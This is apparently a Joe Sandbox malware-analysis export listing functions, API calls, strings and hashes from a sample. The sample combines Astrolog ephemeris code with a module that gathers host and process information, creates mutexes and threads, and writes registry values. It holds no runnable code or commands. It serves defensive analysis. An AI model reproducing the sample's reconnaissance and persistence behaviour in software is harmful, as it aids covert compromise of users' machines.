Associated: 00000009.00000002.3248131092.000000006C75E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C760000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248260526.000000006C763000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c630000_DAPIjX8.jbxd

Similarity

API ID: _sprintf$_free$_strncmp
String ID: .;C:\Astrolog\$99.$asteroid No. %d (%s): $asteroid eph. file (%s): $jd %f < lower limit %f;$jd %f > upper limit %f;$moon eph. file (%s): $plan. COB No. %d (%s): $plan. moon No. %d (%s): $planets eph. file (%s): $s.%s$se1
API String ID: 1187704711-3796515
Opcode ID: 87fe863f9737c2595cfee7874f30d447bf2abc0a303f1d4a19ccc0791ca452d9
Instruction ID: 7669bdf9f900371873f0a3459c7a0931a128dcfd76fbe25345377f55458fc171
Opcode Fuzzy Hash: 87fe863f9737c2595cfee7874f30d447bf2abc0a303f1d4a19ccc0791ca452d9
Instruction Fuzzy Hash: E7122A70904A09DBDB31CF24C9587DA77F4FF49308F2449DAE898A7950DB309E98CB68

Function 6C63338C Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 129
memoryfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 6C633393
CreateMutexA.KERNEL32(00000000,00000000,MyProgramMutex,00000020), ref: 6C6333A1
GetLastError.KERNEL32 ref: 6C6333B1
__CxxThrowException@8.LIBCMT ref: 6C6333D1
CreateThread.KERNEL32(00000000,00000000,Function_0000334B,00000000,00000000,6C75A980), ref: 6C633433
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 6C633451
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,6C7233F8), ref: 6C63345C
ReadFile.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,6C7233F8), ref: 6C633477
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C7233F8), ref: 6C633484
FindCloseChangeNotification.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C7233F8), ref: 6C633494
_memmove.LIBCMT ref: 6C6334AC
HeapCreate.KERNEL32(00040000,-000000C9,00000000), ref: 6C6334C5

Part of subcall function 6C6B2E33: _doexit.LIBCMT ref: 6C6B2E3F

RtlAllocateHeap.NTDLL(00000000,00000008,-000000C9), ref: 6C6334CF
_memmove.LIBCMT ref: 6C6334DC
GetDC.USER32(00000000), ref: 6C6334E5
EnumObjects.GDI32(00000000,00000002,00000000,00000000), ref: 6C6334F0

Strings

MyProgramMutex, xrefs: 6C633398
_w8g, xrefs: 6C6333D8
1wps, xrefs: 6C6333DF

Memory Dump Source

Source File: 00000009.00000002.3247704451.000000006C631000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C630000, based on PE: true

Associated: 00000009.00000002.3247658291.000000006C630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247950943.000000006C727000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247979957.000000006C729000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248027784.000000006C74D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248067369.000000006C74E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C750000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C753000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C758000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C760000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248260526.000000006C763000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c630000_DAPIjX8.jbxd

Similarity

API ID: Create$File$CloseHeap_memmove$AllocateChangeEnumErrorException@8FindH_prolog3_catch_HandleLastMutexNotificationObjectsReadSizeThreadThrow_doexit
String ID: 1wps$MyProgramMutex$_w8g
API String ID: 235313284-2654228369
Opcode ID: e9676c896e5f2a61654451018bdfca25e90714bc3cb4af48d5416c153d7ea04a
Instruction ID: 63661f15e233a3e80aed36592e1bc7f480be8395b4a6a163221eb0cc5be24555
Opcode Fuzzy Hash: e9676c896e5f2a61654451018bdfca25e90714bc3cb4af48d5416c153d7ea04a
Instruction Fuzzy Hash: 0B41B271605218BBDB116BB18C89EEF7EBCEB0A314F101524F606A7640DB319D068B7C

Function 1000C1C0 Relevance: 33.1, APIs: 9, Strings: 9, Instructions: 1628networklibrarystringCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 1000C311
gethostname.WS2_32(?,00000100), ref: 1000C339
gethostbyname.WS2_32(?), ref: 1000C34F

Part of subcall function 1000BB20: gethostname.WS2_32(?,00000100), ref: 1000BB53
Part of subcall function 1000BB20: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 1000BB6F
Part of subcall function 1000BB20: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000000,00000000,00000000), ref: 1000BBB4

LoadLibraryW.KERNEL32(10077444,10077566,00000000,10077568,10077568,10077566,00000000,00000000,00000000,-00000002,00000000,00000000), ref: 1000C83C
FreeLibrary.KERNEL32(00000000), ref: 1000C885

Part of subcall function 1000C1C0: GetTickCount.KERNEL32 ref: 1000BD7C

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000007,00000000,00000000,10077510,00000006), ref: 1000CED4
lstrcpyW.KERNEL32(1008CE80,00000000), ref: 1000CF28
wsprintfW.USER32 ref: 1000CF3F
GetFileAttributesW.KERNEL32(?), ref: 1000CFE2

Part of subcall function 1001BC50: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000001,?), ref: 1001BC87

Part of subcall function 1001CBA0: GetComputerNameW.KERNEL32(?,00000200), ref: 1001CBF5
Part of subcall function 1001CBA0: lstrcpyW.KERNEL32(?,10077510), ref: 1001CC0B
Part of subcall function 1001CBA0: wsprintfW.USER32 ref: 1001CC37

Strings

SID, xrefs: 1000D63E
x86, xrefs: 1000C897
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 1000CBA8
l, xrefs: 1000CC2E
Time, xrefs: 1000D49A
,, xrefs: 1000DAEC
Remark, xrefs: 1000C53E
x64, xrefs: 1000C892, 1000C8B3, 1000C8B4
long, xrefs: 1000CF45, 1000CF79, 1000CF7A

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: ByteCharMultiWide$Librarygethostnamelstrcpywsprintf$AttributesComputerCountFileFolderFreeLoadNamePathSpecialStartupTickgethostbyname
String ID: ,$HARDWARE\DESCRIPTION\System\CentralProcessor\0$Remark$SID$Time$l$long$x64$x86
API String ID: 4242217452-1458297535
Opcode ID: 55ff83a61d9db7206ae508621e76a6cffcc3e39af66de2d6fb2b3ad838857976
Instruction ID: 9d0cd7843b54b44ededa8168ed05449c303563adff5c25b9c2a1c632e16138b0
Opcode Fuzzy Hash: 55ff83a61d9db7206ae508621e76a6cffcc3e39af66de2d6fb2b3ad838857976
Instruction Fuzzy Hash: 37E2D470D00A589AEB64CB24CC85BEEB772EF45346F1082D9E049A7296DB756FC4CF60

Function 6C63B1DE Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_sprintf.LIBCMT ref: 6C63B1F5
_sprintf.LIBCMT ref: 6C63B218

Part of subcall function 6C6B1F84: __output_l.LIBCMT ref: 6C6B1FDF

__wgetenv.LIBCMT ref: 6C63B24B
_sprintf.LIBCMT ref: 6C63B270
__wgetenv.LIBCMT ref: 6C63B27D
_sprintf.LIBCMT ref: 6C63B2A2
__wgetenv.LIBCMT ref: 6C63B2AB
_sprintf.LIBCMT ref: 6C63B2D0
_sprintf.LIBCMT ref: 6C63B2F2

Strings

C:\Astrolog, xrefs: 6C63B2D8
ASTROLOG, xrefs: 6C63B278
%s%s, xrefs: 6C63B216, 6C63B2DE
7.10, xrefs: 6C63B208
ASTR, xrefs: 6C63B20D, 6C63B212, 6C63B2AA

Memory Dump Source

Source File: 00000009.00000002.3247704451.000000006C631000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C630000, based on PE: true

Associated: 00000009.00000002.3247658291.000000006C630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247950943.000000006C727000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247979957.000000006C729000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248027784.000000006C74D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248067369.000000006C74E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C750000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C753000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C758000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C760000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248260526.000000006C763000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c630000_DAPIjX8.jbxd

Similarity

API ID: _sprintf$__wgetenv$__output_l
String ID: %s%s$7.10$ASTR$ASTROLOG$C:\Astrolog
API String ID: 2520948663-3225433610
Opcode ID: 29829f03ae9fbdc3dde6dfa4149e4a4755a06c01d3c522681e3a3aa7a989588c
Instruction ID: 3fa5e0fac7b6f8945b37150ac491f77f077e38bc12e5ae00d29eb444c796abf8
Opcode Fuzzy Hash: 29829f03ae9fbdc3dde6dfa4149e4a4755a06c01d3c522681e3a3aa7a989588c
Instruction Fuzzy Hash: C731FBB19049D8AAEB00D6A5DC54FFF37AC9F8330CF2025A59855EBA51EF308598C72C

Function 1001EE00 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 230
registrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(100782C8,?,?,?,?,?,10081068,00000001,Remark), ref: 1001EE9F
RegOpenKeyExW.KERNEL32(?,?,00000000,00020019,?,?,?,?,?,?,10081068,00000001,Remark), ref: 1001EF1C
FreeLibrary.KERNEL32(?,?,?,?,?,?,10081068,00000001,Remark), ref: 1001F147

Strings

Remark, xrefs: 1001EE2A

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Library$FreeLoadOpen
String ID: Remark
API String ID: 3518234908-3865500943
Opcode ID: f0ac16730cc1bbeac4a56bd6364e2f2ca9246a11b390f576fc7b0e8c0857bdd6
Instruction ID: 4280bcdcbe3d8e76b3a2d985dd6de93ce3b6678e1cecf0cba3b117d83fd6403a
Opcode Fuzzy Hash: f0ac16730cc1bbeac4a56bd6364e2f2ca9246a11b390f576fc7b0e8c0857bdd6
Instruction Fuzzy Hash: 5F913AB1D04228ABEB21DF64CC44BDEB7B9FB44714F0041EAEA4CA7251DB719E858F58

Function 6C63BCA4 Relevance: 17.7, APIs: 2, Strings: 8, Instructions: 207
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_sprintf.LIBCMT ref: 6C63BDD5
_sprintf.LIBCMT ref: 6C63BDEE

Strings

,ze-1Ret, xrefs: 6C63BD84
,M31, xrefs: 6C63BDCC
,beCru, xrefs: 6C63BDA8
Kaus Australis, xrefs: 6C63BDC0
@, xrefs: 6C63BD48
Pleione, xrefs: 6C63BD90
Alnilam, xrefs: 6C63BD9C
Rigil Kentaurus, xrefs: 6C63BDB4

Memory Dump Source

Source File: 00000009.00000002.3247704451.000000006C631000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C630000, based on PE: true

Associated: 00000009.00000002.3247658291.000000006C630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247950943.000000006C727000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247979957.000000006C729000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248027784.000000006C74D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248067369.000000006C74E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C750000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C753000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C758000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C760000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248260526.000000006C763000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c630000_DAPIjX8.jbxd

Similarity

API ID: _sprintf
String ID: ,M31$,beCru$,ze-1Ret$@$Alnilam$Kaus Australis$Pleione$Rigil Kentaurus
API String ID: 1467051239-1042911856
Opcode ID: f691c0b619136dca5986968611e31e26a7200205534e20dcc3e4ae1606e6672a
Instruction ID: 9f373ea48e79f0021f90be5d4789960f9d03a18a97589d051bbde0cc606da12e
Opcode Fuzzy Hash: f691c0b619136dca5986968611e31e26a7200205534e20dcc3e4ae1606e6672a
Instruction Fuzzy Hash: 1281D671A0491EDADF11AF64E8855D877B4FB8B308F81A5FED0DD52850DB3186A8CB0C

Function 1000DBD0 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 202
stringsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfW.USER32 ref: 1000DC8F
CreateMutexW.KERNEL32(00000000,00000000,00000000), ref: 1000DCC9
GetLastError.KERNEL32 ref: 1000DCD1
CloseHandle.KERNEL32(00000000), ref: 1000DCDF
GetComputerNameW.KERNEL32(?,00000200), ref: 1000DD26
lstrcpyW.KERNEL32(?,10077510), ref: 1000DD3C
wsprintfW.USER32 ref: 1000DD68

Strings

tasktime, xrefs: 1000DE0C
Time, xrefs: 1000DC21, 1000DC9E
long, xrefs: 1000DDFA

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: wsprintf$CloseComputerCreateErrorHandleLastMutexNamelstrcpy
String ID: Time$long$tasktime
API String ID: 172913010-2011194240
Opcode ID: 18c389d78b71260914e67dd970c387743a4d043c92a2ccdab54cdcf64fc39b9a
Instruction ID: fdbe4bd0be62d1fc7a4c7fa3e0aaac4247286d7f8c664be7a572e76097edb7d8
Opcode Fuzzy Hash: 18c389d78b71260914e67dd970c387743a4d043c92a2ccdab54cdcf64fc39b9a
Instruction Fuzzy Hash: 7461BA75A00219ABFB24EB64CD85F9E73ADEF40340F110596F709E6182DF74AA84CBA5

Function 1000B4B0 Relevance: 15.4, APIs: 10, Instructions: 414
stringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcsstr.LIBVCRUNTIME ref: 1000B51C
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 1000B550
Process32FirstW.KERNEL32(00000000,00000000), ref: 1000B56F
lstrcmpiW.KERNEL32(00000024,?), ref: 1000B580
Process32NextW.KERNEL32(00000000,00000000), ref: 1000B58C
lstrcmpiW.KERNEL32(00000024,?), ref: 1000B59D
Process32NextW.KERNEL32(00000000,00000000), ref: 1000B5A9
CloseHandle.KERNEL32(00000000), ref: 1000B5BC
_wcsstr.LIBVCRUNTIME ref: 1000B612
_wcsstr.LIBVCRUNTIME ref: 1000B62F

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Process32_wcsstr$Nextlstrcmpi$CloseCreateFirstHandleSnapshotToolhelp32
String ID:
API String ID: 727710055-0
Opcode ID: 74624c8c618551669e3d91651b5024e9fb6ba0012caf886f3360ed4b7693b94d
Instruction ID: b2bcd0be8440f84f9ca42e084e2990dc196e099689ef7adbacb0db17711209f8
Opcode Fuzzy Hash: 74624c8c618551669e3d91651b5024e9fb6ba0012caf886f3360ed4b7693b94d
Instruction Fuzzy Hash: 6EE1AE70E00709ABEB14CFA4CC49FAEB7B5FF45784F104128F605AB295DBB5A941CB54

Function 1001F9A0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 291
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1001CBA0: GetComputerNameW.KERNEL32(?,00000200), ref: 1001CBF5
Part of subcall function 1001CBA0: lstrcpyW.KERNEL32(?,10077510), ref: 1001CC0B
Part of subcall function 1001CBA0: wsprintfW.USER32 ref: 1001CC37

SHGetSpecialFolderPathA.SHELL32(00000000,?,0000001A,00000000,10081068,00000000,00000000), ref: 1001FAEE
wsprintfA.USER32 ref: 1001FB24
__fread_nolock.LIBCMT ref: 1001FBBE
CreateThread.KERNEL32(00000000,00000000,1001F2E0,00000000,00000000,00000000), ref: 1001FCF4
CloseHandle.KERNEL32(00000000), ref: 1001FCFB
Sleep.KERNEL32(000001F4), ref: 1001FD79

Strings

ARPD, xrefs: 1001F9CD

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: wsprintf$CloseComputerCreateFolderHandleNamePathSleepSpecialThread__fread_nolocklstrcpy
String ID: ARPD
API String ID: 1341197143-2799616583
Opcode ID: 1338866b2c3a02d0ec336459f934162f21c62a7b88ae211b20dd733c10737ede
Instruction ID: c6e7b88f8f3cbc9786cc4e93138ed0c2f04f0de870f558174a7f8b61b1f02c7c
Opcode Fuzzy Hash: 1338866b2c3a02d0ec336459f934162f21c62a7b88ae211b20dd733c10737ede
Instruction Fuzzy Hash: 4DB13971D00A589BDB25CB24CC55BFEB771EF55305F1082D8E908AB292EB74ABC58F90

Function 6C654AFA Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fgetc.LIBCMT ref: 6C654B43
_sprintf.LIBCMT ref: 6C654B6F

Part of subcall function 6C6547B5: _sprintf.LIBCMT ref: 6C6547FA
Part of subcall function 6C6547B5: _sprintf.LIBCMT ref: 6C654846
Part of subcall function 6C6547B5: GetModuleFileNameA.KERNEL32(?,000000FF,?,?,?,00000000,00000000), ref: 6C654860
Part of subcall function 6C6547B5: _sprintf.LIBCMT ref: 6C6548A1
Part of subcall function 6C6547B5: _sprintf.LIBCMT ref: 6C6548D5
Part of subcall function 6C6547B5: _sprintf.LIBCMT ref: 6C65491C

_fgetc.LIBCMT ref: 6C654B90
_fgetc.LIBCMT ref: 6C654BC9

Strings

@, xrefs: 6C654B57
, xrefs: 6C654B98
The command file '%s' is not in any valid format (character %d)., xrefs: 6C654B69

Memory Dump Source

Source File: 00000009.00000002.3247704451.000000006C631000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C630000, based on PE: true

Associated: 00000009.00000002.3247658291.000000006C630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247950943.000000006C727000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247979957.000000006C729000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248027784.000000006C74D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248067369.000000006C74E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C750000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C753000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C758000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C760000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248260526.000000006C763000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c630000_DAPIjX8.jbxd

Similarity

API ID: _sprintf$_fgetc$FileModuleName
String ID: $@$The command file '%s' is not in any valid format (character %d).
API String ID: 1310815430-447543786
Opcode ID: d7bf9843c273be4a6cb0c821ac52483726ea5fbcec3e9d63614f190ec2fcd11f
Instruction ID: 17b49ed71e2affb3a553c3d528e74fd1b18e0cfda26e060e5bdf0a10ba0abe2a
Opcode Fuzzy Hash: d7bf9843c273be4a6cb0c821ac52483726ea5fbcec3e9d63614f190ec2fcd11f
Instruction Fuzzy Hash: 81210A71E051156AD7219A19DC44FEE77FC9B9331CF5001E9E608B3A00DB744ABA875D

Function 6C6783BC Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 174
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_sprintf.LIBCMT ref: 6C67858D
_sprintf.LIBCMT ref: 6C6785DE

Strings

SwissEph file '%s' not found in PATH '%s', xrefs: 6C678587
.;C:\Astrolog\, xrefs: 6C6783DE
error: file path and name must be shorter than %d., xrefs: 6C6785D3
\, xrefs: 6C6784A8

Memory Dump Source

Source File: 00000009.00000002.3247704451.000000006C631000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C630000, based on PE: true

Associated: 00000009.00000002.3247658291.000000006C630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247950943.000000006C727000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247979957.000000006C729000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248027784.000000006C74D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248067369.000000006C74E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C750000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C753000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C758000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C760000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248260526.000000006C763000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c630000_DAPIjX8.jbxd

Similarity

API ID: _sprintf
String ID: .;C:\Astrolog\$SwissEph file '%s' not found in PATH '%s'$\$error: file path and name must be shorter than %d.
API String ID: 1467051239-2281980244
Opcode ID: 5bd6788b615cd0beef1db4c87d7850afae58f45f7ff0b00676368fc44d4578bd
Instruction ID: 3e8a1bcb737882c0a11e0d2921fe8bbf675e87b366c1a49b53ae87cc5ff73823
Opcode Fuzzy Hash: 5bd6788b615cd0beef1db4c87d7850afae58f45f7ff0b00676368fc44d4578bd
Instruction Fuzzy Hash: 7151FBB0A0416D8FDB21DE38CD546D9BBF5AB49308F0489F5D288F7611E6304EC98F68

Function 1001F1B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 100
registrylibrarystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(100782C8,10081068), ref: 1001F1F4
RegCreateKeyExW.KERNEL32(80000001,1003AC40,00000000,00000000,00000000,000F003F,00000000,000000FE,?), ref: 1001F25D
RegOpenKeyExW.KERNEL32(80000001,1003AC40,00000000,0002001F,000000FE), ref: 1001F274
lstrlenW.KERNEL32(?), ref: 1001F27F
RegSetValueExW.KERNEL32(000000FE,?,00000000,00000001,?,00000000), ref: 1001F297

Strings

Time, xrefs: 1001F1CB

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: CreateLibraryLoadOpenValuelstrlen
String ID: Time
API String ID: 1375638161-3483776891
Opcode ID: 66dc3ac0a5c7e6bf8b4a1d02e65aac9550fe6383deacdd14883f52ca131d7556
Instruction ID: da749f221406ebe725311cc99906b7a6f75a18cf87e871c10c78f3a2f2c99309
Opcode Fuzzy Hash: 66dc3ac0a5c7e6bf8b4a1d02e65aac9550fe6383deacdd14883f52ca131d7556
Instruction Fuzzy Hash: 9E313A71D0022DBFEB00DFA9CC84EEEBABDEF49654F10412AFA15E2210DB7859408B64

Function 6C67FAA9 Relevance: 9.3, APIs: 2, Strings: 3, Instructions: 599
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 6C67FB76
_sprintf.LIBCMT ref: 6C67FBFB

Strings

%s,%s, xrefs: 6C67FBF0
Please call swe_set_ephe_path() or swe_set_jplfile() before calling swe_fixstar() or swe_fixstar_ut(), xrefs: 6C67FB24
, xrefs: 6C67FFB2

Memory Dump Source

Source File: 00000009.00000002.3247704451.000000006C631000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C630000, based on PE: true

Associated: 00000009.00000002.3247658291.000000006C630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247950943.000000006C727000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247979957.000000006C729000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248027784.000000006C74D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248067369.000000006C74E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C750000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C753000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C758000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C760000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248260526.000000006C763000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c630000_DAPIjX8.jbxd

Similarity

API ID: _memset_sprintf
String ID: $%s,%s$Please call swe_set_ephe_path() or swe_set_jplfile() before calling swe_fixstar() or swe_fixstar_ut()
API String ID: 1557529856-1540576256
Opcode ID: 637ff4057a518b4037c455668929d79e51275e788874debc60ed9c90147b4fd1
Instruction ID: fc9afb559d60720649491ae76336681d21193dabec390369c1109a71cbdec18c
